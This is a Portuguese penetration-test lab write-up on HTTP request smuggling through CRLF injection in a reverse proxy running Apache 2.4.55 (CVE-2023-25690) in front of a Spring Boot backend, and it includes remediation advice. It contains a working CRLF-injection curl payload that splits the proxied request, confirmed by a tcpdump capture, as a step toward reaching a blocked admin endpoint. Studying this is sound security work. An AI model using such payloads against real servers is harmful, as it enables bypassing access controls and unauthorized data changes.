
Laboratório de contrabando de requisições HTTP: injeção CRLF no Apache 2.4.55
| Componente | Função | Versão |
|---|---|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerável) |
| Spring Boot (Tomcat embarcado) | Backend API | 4.x (Java 21) |
| SQLite | Banco de dados | — |
Usuário ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF não sanitizados
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> bloqueado
POST /public/register: permite o registro de usuários no banco de dados
POST /public/login: permite o login através da verificação das credenciais inseridas e libera um token de sessão
GET /public/dashboard: área restrita dos usuários
GET /api/status: aceita o parâmetro "name", é um endpoint de exemplo para verificação do estado dos serviços
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: é uma rota teoricamente inacessível ao público que permite aos administradores modificar os dados dos usuários
Durante a atividade de teste de penetração foi identificada uma vulnerabilidade crítica na infraestrutura de reverse proxy que expõe o backend Spring Boot. O proxy Apache HTTP Server versão 2.4.55 é afetado pela vulnerabilidade CVE-2023-25690 (HTTP Request Smuggling), que permite a um atacante contornar os filtros de segurança impostos no proxy e alcançar diretamente endpoints administrativos internos não protegidos.
O ataque explora a ausência de sanitização dos caracteres de controle (CRLF) nas RewriteRule do Apache, permitindo a injeção de uma segunda requisição HTTP entre os parâmetros de uma requisição legítima direcionada ao backend. A prova de conceito demonstrou a modificação não autorizada das credenciais de usuário no banco de dados através do endpoint /admin/edit/{id}/{newName}/{newPass}, teoricamente protegido pelas ACLs do proxy.
Recomendações: Atualizar imediatamente o Apache HTTP Server para a versão ≥ 2.4.56, reforçar os filtros de segurança no proxy e implementar uma camada de segurança no backend (Spring Security) para todos os endpoints sensíveis.
Identificação da versão do Apache através da análise dos cabeçalhos HTTP da resposta.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Resultado: O cabeçalho do servidor revela Apache/2.4.55. Consulta ao banco de dados de CVEs → correspondência com CVE-2023-25690.
De acordo com a CVE, nesta versão do Apache, se houver uma RewriteRule que copie caracteres genéricos provenientes da requisição ao proxy no URL de destino do backend, o texto transcrito não é sanitizado, portanto caracteres de controle (como retornos de linha) também passam.
Por exemplo: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // a letra P indica o modo proxy
Portanto, agora nosso objetivo é descobrir um possível endpoint que realize essa transcrição no nível do proxy
A partir da análise das respostas e do comportamento da aplicação, observa-se que a sessão é gerenciada através de JSESSIONID, o que confirma o uso de um Servlet Container Java (como Apache Tomcat, Jetty ou WildFly). Além disso, a requisição a endpoints inexistentes retorna uma "Whitelabel Error Page", o que indica que há Spring Boot no backend.
Através de um script bash para automação de fuzzing com dicionário, foram mapeados os endpoints expostos na rede (presumivelmente todos).
Resultado:
| Endpoint | Código HTTP | Método | Parâmetros |
|---|---|---|---|
| admin | 403 | GET | (sem parâmetros) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (sem parâmetros) |
| public/logout | 200 | GET | (sem parâmetros) |
| api/status | 200 | GET | (sem parâmetros) |
| service/* | 200 | GET | (sem parâmetros) |
Dado que
retornam ambas a mesma resposta, entende-se que apontam para o mesmo endpoint do backend. Além disso, como requisições como /service/x/y/z (que muito provavelmente não existem) não retornam 404, pode-se deduzir que o endpoint original aceita um parâmetro e não uma path variable. Portanto, em conclusão, pode-se deduzir que as requisições para /service/<serviço> são traduzidas com uma RewriteRule para o backend Spring Boot (exatamente o que procurávamos). Agora é preciso entender se essa RewriteRule é genérica, ou seja, usa uma regex do tipo .* ou se é bem estruturada.
Tento inserir caracteres de controle na requisição para dividir o conteúdo legítimo do oculto:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... O serviço 'x' está operacional e estável.
Inseri um parâmetro customizado para verificar se os CRLFs são interpretados corretamente
trash_header tem a função de encapsular os cabeçalhos que o Apache inserirá na requisição ao backend (dessa forma, eles serão interpretados como simples texto de X-Header e não terão valor para a requisição HTTP)
Com tcpdump no container do backend, tive a oportunidade de interceptar a requisição HTTP proveniente do Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
O backend vê esta requisição:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"Os caracteres de controle controlaram"
A resposta me indica que a parte com os caracteres de controle passou incólume como estrutura da própria requisição HTTP e não simplesmente como parâmetro (pois o nome interceptado pelo backend é apenas 'x'). Portanto, impusemos o formato da requisição HTTP direcionada ao backend e o proxy a aceitou. Isso abre caminho para o payload real de smuggling.